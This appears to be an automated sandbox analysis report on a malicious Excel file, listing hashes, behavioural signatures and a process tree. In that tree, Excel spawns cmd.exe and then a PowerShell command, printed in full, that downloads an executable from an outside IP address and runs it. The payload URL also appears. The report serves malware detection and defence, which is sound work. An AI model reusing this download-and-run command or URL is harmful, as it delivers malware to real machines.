Analysis
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max time kernel
49s -
max time network
51s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
07/11/2024, 21:30
Behavioral task
behavioral1
Sample
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls
Resource
win10v2004-20241007-en
General
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Target
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls
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Size
23KB
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MD5
62b9fa7851ba3147b20ceae3f8b61029
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SHA1
4ad45f6d537615bcc07bbc51940b83b3b4842d52
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SHA256
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66
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SHA512
f2744b66ef8bfad21ca12a73a66847b4f17910ba9f2f1b83969b4f7100a7b14f21bdacf6021b83b565e9564a62ebf393b74dc8d483410c15a29d1a687540f044
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SSDEEP
192:JHa439gyLPUV+/T/D/GX2H5kUyabvHV6jaFEqYGfIoBkJZWMVnTag:c+Lb6AgabP8jaFzYGfIA
Malware Config
Extracted
http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2892 3484 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 8 2828 powershell.exe -
pid Process 2828 powershell.exe 2828 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3484 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2828 powershell.exe 2828 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2828 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE 3484 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3484 wrote to memory of 2892 3484 EXCEL.EXE 84 PID 3484 wrote to memory of 2892 3484 EXCEL.EXE 84 PID 2892 wrote to memory of 2828 2892 cmd.exe 86 PID 2892 wrote to memory of 2828 2892 cmd.exe 86
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\SYSTEM32\cmd.execmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe';3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2828
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82